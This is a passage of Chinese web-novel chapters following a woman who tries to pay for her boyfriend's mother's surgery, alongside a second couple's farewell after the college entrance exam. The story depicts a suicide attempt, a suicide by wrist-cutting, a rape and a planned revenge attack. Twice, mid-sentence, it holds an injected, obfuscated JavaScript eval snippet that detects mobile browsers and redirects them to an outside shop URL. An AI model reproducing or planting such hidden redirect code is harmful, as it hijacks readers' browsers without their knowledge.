每一次她都亲自亲自下厨,从前一向不屑于给别人做饭女孩摇身一变,成了体贴又细心的姑娘,开始学习各种营养又健康的菜谱,一有闲工夫就在厨房里捣鼓。 但令魏可萱没想到的是,她刚一开门走进谢女士所在的病房,就看见谢女士搬来一张凳子,站在窗边,手搭在窗沿,身子附上去,目光往下眺望,随时准备往下跳。 “阿姨,你做什么!危险,快下来!” 魏可萱来不及思考,直接放下手里的保温盒就朝她跑去。 “你别过来!” 谢女士回眸,伸出手挡着,“你再过来,我现在就跳下去。” “好,我不过来,你别激动……”魏可萱不敢再过去,往后一点点地退,试着稳定谢女士的情绪。 焦急之下,她也打量着谢女士的周围,确认没有她可以触碰到的其余利器。 “阿姨,好好的,你这是干什么?” 穿着病号服的谢女士扬起脑袋,振振有词,“你们这些小年轻都别想骗我了,我听到医生说,我的病治不好的,反正早晚都得死,我还不如早点儿现在就死个痛快呢!” 谢女士不想自己这将死之人拖累孩子,她知道这一年来又在外面挣钱又跑到医院来照顾自己的楼巩有多辛苦。 从小他的爸爸就死得早,他比同龄人成熟,早早地就扛起家里的一切,成为家中的顶梁柱。 现在倒好,谢女士一病就是一年,住院费和药物治疗费算下来都不少,她认为自己多活一天,就是在多拖累楼巩一天。 “谁说的,阿姨,你的病可以治好,楼巩还等着你康复以后带你去看高峰雪原你忘了吗?你别冲动,现在从窗户上下来,好不好?” 魏可萱一边说话分散谢女士的注意,一边慢慢地往前走,靠近她。 “胡说!别以为我年纪大了就可以随便糊弄,你别以为你给我送了半个月的饭就能成为我楼家的儿媳妇了,你还远着呢,我要干什么,轮不到你来说话!” 这儿的动静吸引到值班的护士和医生,他们赶到这里,纷纷加入劝解谢女士的队伍。“这位病人你别想不开啊,有什么话我们可以坐下来好好说。” 谢女士看向门口的护士和医生那一刹那,魏可萱见机扑过去,把她抱住拉下来。 谢女士努力挣扎,“你把我放开——放开——” 她去拍打魏可萱的手,但魏可萱抱得很紧,怎么都不放开,目光是那样坚毅。 “阿姨,我是不会放的。我绝不可能眼睁睁看着你去死。” 谢女士背靠墙坐在地上,被魏可萱抱着,蓝色的窗帘被风吹得轻轻晃动,她拍累了,索性放弃,不搭理他,也不理任何人。 在医生和护士的帮助下,魏可萱把谢女士重新带到病床上躺好,医生嘱咐家人日后一定要多看好谢女士,魏可萱点头,礼貌又客气,“医生您放心,我们以后一定好好照看。” 等到医生和护士都已离开,魏可萱搬来凳子坐到谢女士病床边,谢女士一眼不眨盯着正前方息屏的黑色电视机,不高兴写在脸上。 魏可萱不对她发脾气,更不埋怨她如此冲动的行为,只是当做无事发生,轻声问她:“阿姨,你要吃苹果吗?我给你削个苹果吧?” 谢女士冷眼看她,明眼人都看得出来她一点儿也不待见魏可萱,“我的事你管不着,你今天又跑到我这里来做什么?我说你真是个游手好闲的女人啊,一天天的都没事做是吧,跑到我这里来打发时间找气受。” 谢女士别开脸,嘀咕的声音里带着不悦,“真是活久见了。” 要是换做以前,魏可萱这脾气早就受不了,直接站起来出声回怼,可现在却不一样。 现在的她慢慢懂得楼巩的不易,慢慢能体会他们的这个家其实也很不容易。 就像当初在小黑屋里拼命求救却始终孤立无援的她一样。 “阿姨,我不是没事做,我有工作的,我只是想来给你送饭,所以向老板娘请了一个小时的假。我听别人说医院的饭都不好吃,所以我想亲自给你做做饭。” “你今天要是真的心情很不好,不想看到我,我就先回去了,但是你不能再做傻事,我让楼巩来看着你,这样大家都能放心点儿。” “阿姨。” 魏可萱凑到她眼前,让自己出现在谢女士的目光里,“但是该送的饭我还是得送,明天我还会继续来哦,希望你好好地修养。天底下厉害的医生那么多,我和楼巩一定会想办法治好你的病,到时候,我和楼巩一起带着你去看你念叨了半辈子的高峰雪原,好吗?” 魏可萱拿起放在一旁的手提包就轻声闭门出去了。 得到消息的楼巩第一时间赶到医院。 他跑着推门进来,懊恼地看着坐在病床上的谢女士,“妈,你这是做什么啊?干嘛想不开?你这样很伤你儿子的心你知道吗?我就一个愿望,想要你好好活着,难道我这一点小小的要求你都不能满足我?” “儿子,你来啦。” 见到楼巩,谢女士立马换脸,笑脸欢迎他。 楼巩心里有气儿,但更多的是自责,他认为是他太没用,所以才会让他的妈妈产生这样轻生的念头。 他在她身旁坐下,目光里带着气儿。 谢女士晃晃他的手,“哎呀,你别生气嘛,你妈妈知错了,再次再也不这样,好不好?” 楼巩当她只是胡闹才搞这一出,暂且相信她的话。 “可萱呢?你把她赶走了?” 他质问。 谢女士有些心虚,避开目光,支支吾吾,“我哪儿知道她去哪儿了,这腿长她自己身上,我又管不了。” “要不是她及时赶到,我都不敢相信后果,妈,你这样胡闹会让我们担心的知不知道?还有可萱。” 楼巩一股脑把心里想说了很久的话全都说出来。 “她自从知道你生病住院以后,就一直每天往医院里跑,又给你送饭的,又陪你说话,她明明没有义务必须做这些,她为了谁啊,还不是为了你能快点好起来。” 谢女士不配合,依然执着坚持自己的立场,“儿子,你就是被她迷惑了,长得漂亮的女孩子到处都是,你何必偏偏眼里只有她一个人。再说了……她过去那点儿事,那个人家会要这种儿媳啊……你听妈一句劝,找个身世好点赶紧点儿的姑娘,啊。” “妈!” 楼巩听到这话直接站了起来,他脸上的气愤和认真是谢女士这辈子从未看到过的。 “我最后再跟你说一次!可萱在我眼里就是这个世界上最干净的女孩,没有之一!之前为了不让你生气,我躲着她避着她,已经伤了她的心了,可是她从不抱怨一句,这次我绝对不会再推开她。我这辈子就只认她一个女人!” “行行行,你坐下来好好说,别激动嘛。” 谢女士伸出手拉他坐下。 “我还真就是想不明白了,她到底哪儿好?值得你这么死心塌地?” 谢女士抬起下巴审问。 楼巩的手按住膝盖,言辞恳切坚定,“不是一个人必须得哪儿都好才能换来另一个人的死心塌地,我认定她,喜欢她,仅仅只是因为,她就是她,独一无二的她。” 谢女士叹了口气,别开脸,实在不想再多看一眼楼巩这幅执着的模样。 楼巩质问她:“可萱刚刚是不是被你逼走的?你是不是又对她说了难听的话?妈,你知道可萱走到现在有多不容易吗?你知道她充满希望地活下去需要鼓起多大的勇气吗?作为旁观者,你没有资格去抨击她的过去和遭遇。” 谢女士不解,反驳他:“我哪里逼她了,是她自己走的好不好哦!”她有些心虚,的确,介意魏可萱的过往,是她站在一个妈妈的角度想说的话。 可站在一个女人的角度,她的确对魏可萱讨厌不起来,只有同情。 楼巩继续说,“你以为她每天都来给你送饭很闲很轻松很容易是吗?她以前从来不关心这些,就是为了给你送饭,每天在厨房里研究,手被烫过无数次,刀子割到手,油溅到脖子……她这些从来都没跟你说过吧?她从来都没想让你同情她可怜她,她只是希望有朝一日,你能接受她,不再介意她的过往,把她当一个普普通通的女孩看。” 原来还有这样的事。 而她每次都对魏可萱说很多难听的话。 谢女士听到这些,有些心虚,皱起眉头,起身着急询问,“真的哦?那那那,那我知道错了嘛,她现在走远没有,你把她找回来好不好,妈妈给她道歉。” “算了,我自己去找她。” 楼巩起身,他担心谢女士对魏可萱说了什么话导致她心里难受,急着去确认她的安全。 他看着坐在病床上目光追随着自己的谢女士,“你好好待在这里,什么危险的事都不可以做知不知道?我叫护士来帮我看着你,我一会儿就回来。” 懵懵懂懂的谢女士眨眨眼,不知所措地看着他起身离开,她的手放在身前,努力变得老实。 “哦……知道了,那你去吧。” 楼巩走到门口。 谢女士叫住他,出乎意料地,谢女士突然扬起一抹笑,她看着自己的孩子,说:“儿子,你和她好好的,妈妈知道自己以前做得不对,等你见到她了,替我跟她说声对不起。” 楼巩总觉得哪里怪怪的,他回头看谢女士。 谢女士招招手,“快走吧,别墨迹,再慢点儿她可就走远了。” - 天空中开始冒毛毛细雨,魏可萱失神地走在大街上,宛若一具行尸走肉,两眼无神。 就在不久前,她离开医院的时候,医生叫住她,和她说了点儿关于谢女士的事情。 医生告诉她,其实谢女士并没有得绝症,她的病能够治好,只是需要一大笔昂贵的手术费和治疗费,这笔费用,楼巩家就算两辈子也承担不起。 谢女士不想拖累楼巩,就让医生帮她骗楼巩,告诉楼巩他妈妈的病治不好了,活不了多久。 医生觉得这样不妥,便告诉魏可萱实情。 所以,今天的谢女士才会反常,居然想到了要去跳楼自杀。 魏可萱心里难受,多年前从小黑屋出来以后,她有一次感受到了无可奈何的痛苦。 为什么啊……她想不明白,为什么偏偏谢女士要得病,为什么没有钱就治不了病,难道就只能眼睁睁看着谢女士等死吗? 谢女士心里一直挂念着她的儿子,为了不拖累他,她甚至编制了这样一个谎言 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魏可萱心里想着事情,六神无主,没有功夫去看男人一眼,“我不认识你。” “你不认识我?这么快就把我忘了,可是我认识你啊,我不仅认识你,我甚至还认识你身上的每一寸肌肤,认识你在床上被我压在身下的每一个表情。” 男人笑得恶劣、肮脏。 魏可萱脑子嗡然,忽地顿住脚步停下来看他。 噩梦。 是令她胆寒、恐惧的噩梦。 那是她永远不愿意想起的过往。 她快要忘记呼吸,屏息止气,脸色苍白,仿佛濒临死亡一般。 魏可萱厌恶、唾弃那段过往,来不及多想,她提脚就跑。 男人拉住她的手,把她拽回来,那双不老实的手在她的脸上摸了又摸,“你跑什么跑,这么多年没见,老子还以为你跑了,结果还在这儿啊,既然碰见了,不如今天跟我叙叙旧,好好陪陪老子?” “滚开——” 魏可萱大力把他甩开,转身就跑。 男人没把她放在眼里,一个不留神被她甩到踉跄退了几步,“他奶奶的。” 醉酒的男人骂出声,扔掉手里的啤酒瓶,啤酒瓶甩在湿漉漉的地面,发出噼里啪啦的破碎声音。 所谓中年发福,说的正是现在这个男人,男人年轻的时候去过下街的次数可不少,其中一次,就是去的魏可萱那儿,毕竟像那时候她这么年轻的可不多。 男人对她有些印象,甚至打算之后再去来着,可惜好景不长,没过几天下街就被警察查封了,下街里的女人也不知去向。 从此他的乐趣倒是少了一大半。 不过男人也没想到魏可萱居然还留在清流镇没走。 他快步走上前,捂住魏可萱的嘴巴,拉住她的手,用蛮力把她拖进附近一条巷子里。 魏可萱用尽全身所有力气挣扎,可女人的力气终究抵不过男人,她的淡紫色裙子被拖脏,沾满一大片的雨水和淤泥。 “放开我——”魏可萱用脚踹他,发狠地咬男人去撕自己衣服的手。 男人的笑贪婪、肮脏,见魏可萱还在蛮横地反抗,男人扇她一巴掌,“动什么动!你以前不就是靠这种下贱生意赚钱吗?现在装什么清高!让老子爽快一下,老子给你钱就是。” 钱吗? 魏可萱倒是真的很需要钱,她想要帮楼巩的妈妈,她不想看着楼巩失去母亲,她想要钱去给楼巩妈妈治病。 魏可萱挣扎着,慢慢地,她也不再挣扎了。 事实就是,无论她再怎么挣扎,她都无法从男人手底下逃脱,无论她再怎么拼命喊求救,还是像很多年前的黑屋一样,所有的门上了锁,紧闭着,她逃不出去,也不会有人来救她。 她的目光慢慢变得空洞,宛如一潭死水,身体也任由男人摆布着,没有自己的意识和举动,仿佛一具死尸。 魏可萱看着漫天细雨和黑沉沉的天空,她想,这世界真的好暗,她好想做一场永远都不用醒来的梦。 在梦里,她还是那个幸福地生活在爸爸妈妈身边的女孩,她没有远离家乡,更没有被拐卖到这里受人胁迫做下流勾当。 冰冷的雨打湿了魏可萱的头发,密密麻麻的雨珠停留在她的脸颊和肌肤上,她还是一眼不眨,眼神空洞无光。 她好痛啊。 心被世界撕扯的痛。 楼巩离开以后,楼巩叫来盯住谢女士的护士一直看着谢女士。 谢女士告诉护士她不胡来了,向护士要到了魏可萱的手机号,想亲自打电话给她道歉。 虽然楼巩正在去找她的路上,但谢女士还是不放心,对于她对魏可萱所说的那些,她实在于心有愧,过意不去。 但魏可萱的手机开着静音,此刻被醉酒的男人甩在一边,无人知晓。 谢女士疑惑,连续打了好几个电话都没人接,她又慌又不接,“这不应该啊……” 大雨滂沱,淋湿甩在一边儿的手机,屏幕常亮不暗,本该接电话的人却来不了。 楼巩也在打她的电话。 他从医院跑出去,去花店找她,去她家里,始终没看到她人,他心慌,害怕,担心魏可萱出什么事。 雨下得很大,风刮得道路两边的树左摇右晃,楼巩全身被淋湿,奔跑在大雨中。 到处找她。 54. 第 54 章 雨停了,魏可萱环膝缩在角落里,身子不停地发抖,头发湿漉漉的,一点儿没干。 屋檐下传来滴滴答答的雨滴声。 她的额头处已分不清是冷汗还是雨珠。 男人提起裤子,朝她的脸甩去一沓钞票,“还算你识相。” 逐渐走远。 拉长的影子渐渐消失在视线里。 世界终于安静了。 一声不吭的魏可萱终于感到难以承受的伤痛,她埋下脑袋,放声哭了出来。 - 医院里人来人往,乱作一团。 魏可萱头发凌乱,顾不上脏兮兮的裙子就跑到医院来。 她的手里捧着拿到的钱,慌慌忙忙找到医生,挡住他的去路,“医生,我拿到钱了,你能不能先给谢女士动手术,剩下的钱我后面再慢慢给。” 医生“哎”了一声,不理解魏可萱怎么还在这里挡路,他解释道:“谢女士割腕自杀了,我还得赶过去呢!” “什么……” 魏可萱怔在原地,表情木讷,脸色苍白,脑子空荡荡的,人跟傻了一般。 她拖着僵硬又无力的脚来到谢女士所在的病房,慢吞吞走到床边,拿起床头柜子上摆放着的视频播放器。 播放器里有谢女士前一天录好的视频。 谢女士被推进抢救室,现在生死未知。 当她按下播放键时,播放器上的画面一闪过后重新出现,谢女士匆匆忙忙走到镜头前,在椅子上坐好,她整理了下自己的头发,笑容亲切又和蔼。 “儿子,原谅妈妈用这种方式跟你告别,但妈妈实在想不出更好的更体面的且不会让你看到我哭的方式了。这一生当你的妈妈,我当得一点儿也不称职,既没有让你在童年像其他小朋友一般过得无忧无虑,也没有让你在长大后面对喜欢的姑娘时随心所欲,可萱呢?可萱现在也在你旁边吧?” 视频里的谢女士眼里闪现亮光,那是一种希冀,一种期盼。 她继续说。 “妈妈不仅对不起你,也对不起她。儿子,可萱是个好姑娘,你一定要好好珍惜。之前是妈妈太过愚昧,秉持着自以为是的偏见,指责她的过往,逼你一次又一次推开她,但她一次又一次的耐心和细致让我发现,真正活在偏见里的人是我,人这一辈子最重要的不就是和所爱的人在一起吗?妈妈能看着你找到自己爱的姑娘,此生也算圆满了。” “如果可萱在你身边,请你代妈妈对她说一声对不起,妈妈之前伤害到了她,很抱歉,另外……以后妈妈可能没办法亲眼看到你们俩携手步入婚姻的殿堂。不过啊没关系。” 画面里的谢女士重新重新扬起一抹笑,哪怕眼泪已经在眼眶中打转,但她还是笑着把话继续说完。 “你们一定要幸福,妈妈一定一定在天上看着你们幸福。” 播放器上的画面到这里结束,魏可萱捂住嘴,盯着黑屏的播放器哭了起来。 嘭的一声,播放器落地,魏可萱手上失了力气,背靠着病床,坐在地上,身体抽搐不止,这是哭泣带来的她的世界的崩塌。 楼巩火急火燎赶来医院的时候,医院里已没了魏可萱的人影。 - 今天是高考的第二天,下午的文综理综考试结束后,考生纷纷走出考场,即便第二天还有一场英语口试,但不少人已经触碰到喜悦抛来的橄榄枝。 年轻的女孩抱住鲜花站在人群中等候她等待许久的男孩。 李空山从人群里挤出去,回到他的小摩托旁边,他今天特地穿得体面些,浅色无袖T恤配上工装烟灰色牛仔裤,衬得他整个人笔直又高挺。 他坐在摩托车上,在走出来的人群中寻觅连翘的身影,虽表面风平浪静,可实际上他内心是忐忑又紧张的。 各种念头在他脑海中一闪而过,等到连翘走出来,他的第一句话该怎么说才算好呢?李空山有些拿捏不准,又有些慌张。 “李空山!” 连翘还没走出考场的校门就已经注意到了他,于是借着拥挤的人群绕啊绕,绕到他身后来拍他的肩,“最近跑生意很忙,不是让你在家里等我,你怎么又跑来接我啦?” 李空山偏头看她,不经意笑了下,“不行啊?以前每天接你放学,这可是我最后一次来接你,不得画上个圆满的句号?” “你说的是。” 连翘把手背在身后,虽嘴上不说,可她心底还是甜蜜的。她看了下四周,盯着眼前收拾得干干净净的他,“那你接下来打算去哪儿?” 李空山想了想,“陪你逛逛?我听说高考完都是需要痛痛快快玩上一场的,你以前有什么想做的事,想去的地方,今天我都陪你。” “不用,我没想那么多,我想的一直都很简单,我带你去个地方。” 李空山有疑惑,但没问,伸出手扶她上车。 连翘骑上摩托车坐在后座,拽住李空山的衣角,风儿吹啊吹,吹起他们的衣角,吹乱他们的头发。 李空山不知道她要带自己去哪儿,只是按着她说的,转弯,左转,再转弯,一直往前…… 摩托车在一家前缘种满花草的宾馆前停下,此刻日暮已至,夕阳染红半边天,薄薄的云被风吹散,借着落日彩霞的渲染铺在西边。 空气中的热气退散,但地底的热气却和墙壁的热气一起盘旋在街道中。 李空山下了车,提着头盔,一脸懵地走到连翘身后。 他抬头指着头顶招牌上写的“漫云宾馆”四个大字,有些匪夷所思。 “你带我来这儿???” “对啊,有问题吗?” 连翘一脸无所谓,交身份证办理入住的同时,心平气和回答他的问题。 此刻,只有李空山的心跳得格外快,他打量了下宾馆大厅的陈设,晃了眼墙角种着的天堂鸟,无数种想法和猜测在他心头闪过。 她要干嘛? 到底要干嘛? 居然带他来这儿? 李空山顿悟,他明白了,他懂,都懂。 一抹难掩羞涩的笑在他嘴角蔓延。 连翘走到他身前,“还愣着干什么,我们上去了。” “哦,对,好。” 李空山回过神,一秒正经,跟在她身后上楼。 “尧尧,其实你要是想,咱家里也不是不可以,何必特地出来……” 话还没说完,连翘率先走到房间门前,她把房门打开,放在茶几上的小蛋糕映入站在门口的李空山眼帘。 他愣了下,难道这和他想的不一样?他偏了下头,盯着身旁的女孩,“什么鬼?” 可是不应该啊,今天没人过生日。 连翘拉着李空山的手走了进去,顺便把门带上,“我知道你想说什么,对,今天的确不是我们过生日,但是我就是想请你吃小蛋糕。” 两个人蹲在茶几前,连翘满心欢喜举起小蛋糕递给李空山,郑重其辞,“李空山,我听人说,蛋糕是甜的,能让不开心的人变得开心,所以我想把它送给你。” 李空山把蛋糕放下,“没搞错吧?我看起来很开心啊?难道我看起来不开心?” “没有。”连翘摇头,继续解释,“我的意思是,我希望你以后能每天都开开心心的,所以高考完的第一份礼物,我想送你小蛋糕。” 李空山看了眼桌面上的小蛋糕,蛋糕很精致,没有插着“生日快乐”的字条,也没有画着年龄的符号,蓝色的果酱和白色的奶油铺在面上,像是蓝天和白云的密会。 最特别的是,蛋糕上放着两个小人偶娃娃的摆件,男孩玩偶娃娃和女孩玩偶娃娃之间放着一块彩虹,与它们脸上的笑容相呼应,恰到好处。 他顿了下,抬起沉默的目光重新看她,轻轻扬起嘴角,“你有心了,谢谢。” 李空山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13234808|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从工装烟灰色牛仔裤的膝盖兜里取出几朵路边匆匆采摘的小花朵,支支吾吾,“不好意思啊,只能先送你这个。” 她从李空山手里拿走这束匆匆采摘的小花,笑得很开心,“我很喜欢,谢谢。” 其实,他也是早早地准备好了礼物要送她的,祝贺她高考顺利结束,只是路上发生了点儿意外,那份礼物怕是今夜不能送到她手里了。 - 医生从手术室里走出来,无奈地摇了摇头,转身离开,楼巩崩溃,掩面啜泣,拳头砸在墙上,重重一声,却怎么也表达不了他的难过和悲痛。 楼巩失魂落魄地走在担架后面,灵堂前,他从白天跪到黑夜,一口东西都没吃,一动不动地,好像个雕像。 半夜,他忽然想起点儿什么,重新找到手机拨打魏可萱的电话,他太久没联系上她了,不知为何,他总有种不好的预感,莫名担心。 可电话依旧是无人接听的状态。 楼巩的舅舅来替他守后半夜,他拿起外套往外走,去魏可萱的家里找她。 魏可萱住的地方在小楼房的二楼,窗户紧闭着,就窗帘也将屋内遮得严严实实,楼下是一家杂货超市,楼巩二话不说跑了上去。 他不停地敲门,一直都联系不上她,他实在太担心她的安危,大声问道:“可萱,你在里面吗可萱?你在的话开下门好吗?我想知道你是否平安。” “可萱?” 楼巩还在拍门,但奈何里面就是没有半点儿回音。 邻居被吵得有些烦,走了出来,“你别敲了,大半夜的还让不让人睡觉!” 楼巩一脸沧桑,脸没洗,汗没擦,经历妈妈的离去,整个人提不起一点儿精神,声音沙哑。 “不好意思啊大姐,我就想看看她人在没在里面,我一天没找着她了,我担心。” “人就在里面啊,今天白天我出门倒垃圾看着她进屋的,小伙子,人家不给你开门说明就是不想理你咯,你赶紧走吧,别在这儿敲门吵吵嚷嚷了。” 她在里面? 可是为什么迟迟不愿出来? 楼巩向邻居表示歉意,说明自己等会儿就离开。 等邻居进去以后,他额头靠着门,低下头,声音落寞,“可萱,你到底发生什么事了……如果我有做的不好的地方,我向你道歉,你别不理我好不好?” 屋里暗得一点儿光都没有,黑漆漆的一片,让人下不了脚。 魏可萱屈膝坐在窗户下,两手环住膝盖,睁开的眼睛犹如一潭死水,让人辨不清一点儿生气,她已经这样保持了五个多小时,一动不动。 脸颊上的泪痕早已风干。 门外响起楼巩唤她的声音,许久后,她才稍稍有了些反应。 现在的他失去妈妈肯定心里很痛,魏可萱心疼他,却又不知如何面对他,更不知道如何面对自己。 她想,她搞砸了,所有的事情都搞砸了,谢女士没有救回来,自己又脏了。 她的脚发软,撑着墙壁勉强站起,刚往前走了一步,她又忽然止住脚步。 不对。 她不能去见他。 她想,自己现在已经是个二次肮脏的人了,她接下来的日子里都无颜再出现在他面前。 她想,她这样不干不净的人,终究是不配和他在一起的,更不配此刻开门去见他、陪伴他。 魏可萱扭头坐了回去,继续陷入一片死寂中。 捡纸箱当废品卖的老婆子路过,她瞄了眼站在魏可萱门前迟迟不肯离去的楼巩,凑热闹走了过去,声音又尖又犀利,“你别找她咯,这小姑娘多半是没脸见你咯。” “什么意思?” 楼巩匆忙转身走过去。 老婆子佝偻着背,雨夜巷子口里发生的一切全都被她看见了,她说:“西街那个不要脸的王彭把他拉到巷子里□□了她,哎哟,这姑娘也是命苦哦。” 55. 第 55 章 轰隆一声,他的世界里犹如劈下一道响雷。 楼巩推开捡废品的老婆子就走,气势汹汹。 他回到家里,从厨房里拿了一把菜刀,甩门出去,直冲西街那男人的家。 猛兽在今夜哭泣,也在今夜肆虐。 - 宾馆里,连翘和李空山各自坐在沙发的两角,两个人都盯着地面,都有话想说,却不知该怎么先开口。 “那啥……” 李空山按奈不住,终究率先打破了空气的寂静,语调轻快,好让人觉得他其实一点儿也不慌。 “我看天气预报说明天有雨,你明天还有一门英语口语的考试,到时候你可要记得带伞啊。” “嗯……好。” 连翘点头,问他:“李空山,你明天还会来接我吗?” 李空山把手枕在脑后,仰起头,背靠沙发躺着,“来啊,怎么不来。” “哦……我的意思是,明天既然要下雨的话,其实你可以不用再来接我了,我自己回去就行,免得你半路淋雨淋湿。” 李空山目光里的散漫渐渐褪去,偏着头看她,那一刻,李空山其实什么都知道,却又希望自己什么都不知道。 他顿了下,淡淡的声音回响在这间不大的房间里。 “行。” 窗帘是淡蓝色的,垂在地板上,这是一间双床房,陈设简单,沙发前摆着一张小茶几,靠近门口处是卫生间。 连翘站了起来,走到李空山旁边坐下,她伸出手去解开挂在自己脖子上的吊坠。 李空山记得,这条刻着“连翘”两个字的木头吊坠打她记事起,就一直戴在身上。 “干嘛?” 他的目光落在她手掌心的吊坠上,一时半刻还猜不到她想要做什么。 连翘不吭声,拉出李空山的手,把自己手掌心里的吊坠盖在他的手掌心里。 一手大,一手小,明明是两个人的手,连翘却奢望着有那么一刻他们能同心,像眼前的合在一起的手掌一样。 “李空山,这个吊坠我送你了。我身上没什么值钱的东西,也不富裕,从你一开始见到我的时候我就是这样,一无所有,现在我能送给你的好像也只有这坠子,希望你不要嫌弃,等到我以后上了大学找到工作以后啊,我一定还你的钱,一分不差,一分不少。” 李空山放下手,重新坐直,“怎么突然说这些话?还要突然送我坠子?尧尧,我不是说过吗,我不需要你还我任何东西。” “要还的。” 连翘垂下目光,不敢看李空山,整顿好自己的心情以后,她才敢重新抬头,装作若无其事,“我欠你的,必须要一五一十还你,我不想欠任何人,也不想欠你的。” 李空山傲慢,一本正经提醒,“少来,我就喜欢你欠我,这样不管你走到哪儿都会想起我,你还我,我可不要。” 连翘不经意笑了,她看着李空山,蓦然想起从前那个下雨天带着一帮人上门讨债的少年,当时的他也不会想到自己会在今天说出这样的话来吧。 那个时候,他可是一口咬定连翘必须得把欠他的所有都还回来,甚至还得连本带息。 那个时候的他还说,屋子里的一切都是他的,唯独不包括她。 可是现在,他早就不这么想了吧。 时过境迁,今非昔比,这个外表要强又爱装无所谓的少年,其实早就已经在她的面前卸下了所有的防备。 “这是我当初答应你的,答应了就得说话算数,我的小本本上可是把欠了你的一笔一笔全记好了呢,李空山,这个坠子你收好吧,虽然不值钱,但也能算个念想,假若以后我不在你身边,至少你还知道,我曾来过。” “什么意思?” 李空山云淡风轻地凝视她,“尧尧,为什么我感觉你好像在跟我告别一样?没必要啊,你以后上大学,就只是离开几个月而已,又不是见不到了对不对?不用伤感啊。” 他挪动位子,坐得靠她更近些,伸出手去揽住她的肩,让她顺势靠在自己肩头。 连翘心里百感交集,渴望离开,渴望斩断和过往的所有联系,可是当她面对李空山时,她才明白,其实她并不是能够舍得所有、舍得一切。 李空山现在越一无所知,反过来安慰她,她便越愧疚。 她想,如果李空山没有对她这么好,如果李空山没有用真心待她,如果李空山像田永贵一样是个噩梦深渊,那么她现在是不是就能随心所欲些。 一走了之也绝不难过、愧疚。 李空山关掉房间的灯,看着躺在对面那张床上的连翘,轻轻出声,“晚安。” 女孩背对着他躺着,没有出声,他想,她应该是已经睡着了吧。 李空山仰面躺着,在漆黑的房间里盯着漆黑的天花板,思绪无边无际得蔓延。 没有人看见,他再也笑不出来了。 今天下午,他在赶来考场的路上,无意间碰到了个人。 这个人他知道是谁——小海查到的、一直在和连翘秘密接触的孙阚平。 一眼,他就认出了他。 他开着摩托与孙阚平擦肩而过时,清清楚楚地听清了他在电话里说的每一个字。 孙阚平走在路上,神情轻松,“对,陆队,你放心,明天我就带人回来。” “放心,不可能有差错,最开始还是她要求我带她离开呢,我会多注意,保证完成任务。” 绿灯亮了。 李空山木讷地松开刹车向前驶去,那些声音回荡在他的耳边,沿路开出一地哀伤和落寞,荆棘丛里长出的鲜花在无边无际的土地里枯萎。 整个世界变成了灰色调。 他看着前方,眼神空洞,就算是生长百年古树也难以在孤寂的星空下里诉说完他此刻的苍凉。 李空山大概是能猜到连翘要走的,从小海告知他孙阚平的出现时,他就大概能猜到了。 只是一直以来他活在自己的欺骗里,他告诉自己不用理会、不用在意、不用相信,他告诉自己事情说不定会有转机,连翘最后不会抛开他走呢。 李空山一直在给自己希望和妄想。 可是直到亲耳听见,他才明白,他自己的妄想才是最大的笑话。 他不知放在摩托上的准备送给连翘的礼物也在等绿灯的那个路口掉落,后来找了很久,怎么找也没找到。 等连翘从考场出来的前十几分钟里,他慌乱又无措,礼物掉了,找不到,就像他快要找不到他的连翘了一样。 他看着别人怀里抱着鲜花,举着棋子、横幅,而自己却什么都给不出,只有裤兜里还装着他在路上碰见的、随手摘下并不算个礼物的几朵花。 他自责。 也无助。 - 房间依旧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13255319|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是漆黑的,李空山知道连翘今夜带他来这里,其实并不是为了什么特殊的事,只是想最后做一场悄无声息的告别。 然而她不知道的是,他早就知道了。 李空山盯着漆黑的天花板,心陷入长久的死寂。 正当他准备闭上眼睛的时候,被窝里突然动了动,他掀起被子一看,对上她那张清秀的脸。 原来是她钻进来了。 李空山不解地坐起,“尧尧,你跑过来干什么?” 他用薄被把她卷好。 连翘全神贯注看着他,趴坐在床上,“李空山,夜里黑,我不想一个人睡。” “你知道你在说什么吗?别开玩笑,这不好笑。” 李空山下床,把连翘横抱而起,放到她自己的床上。“你好好休息,明天还有口语考试。” 话音落下,他转身走回去,连翘拽住他的手,不让他走。 “李空山,我没有开玩笑,我是真的不想一个人睡,我能不能和你挤一挤?” 李空山低头,看着被她牢牢拽住的手腕,有那么一瞬间,他竟然也在期望明天过后,她也能像现在一样拽牢他。 他转身回去,屈膝弯腰,站在床边,假装无所谓,伸出手去摸她的额头,“发烧了?没有啊。尧尧,好好休息,别胡闹。你以前也自己一个人睡,怎么就没见你害怕。” “可是今天晚上不一样。” 李空山将她的话当做耳边风,置若无闻,替她盖好被子以后就熄灯回到自己的床上。 没过多久,连翘又从他的被子里钻了出来,她认真地看着他,那道眼神没有说谎。 “李空山,我就想近距离感受你的呼吸,感受你就在我身边,你答应我这个小小的要求好不好?” 换在以前,他会觉得这是无稽之谈,绝对不可能有商量的余地,可是她就那么望着他。 他不得不承认,他还是妥协了。 李空山往旁边挪了挪,两手交叉放在身前,盯着天花板,“行吧,算我输。放心,我什么都不会做,我的折磨我自己受。” 连翘心满意足地躺在他身边,像他一样盯着天花板,“当然,我知道的,一直都知道。” 李空山是个怎样的人,她很清楚。 房间里静静的,两个人的呼吸此起彼伏,像夏夜里偷偷钻进窗户缝隙里的风,轻悄悄,却又细腻,蕴藏着各自的心中所想。 安心,就是这种安心。 有李空山在身边,她总能感到一种莫名的安心。 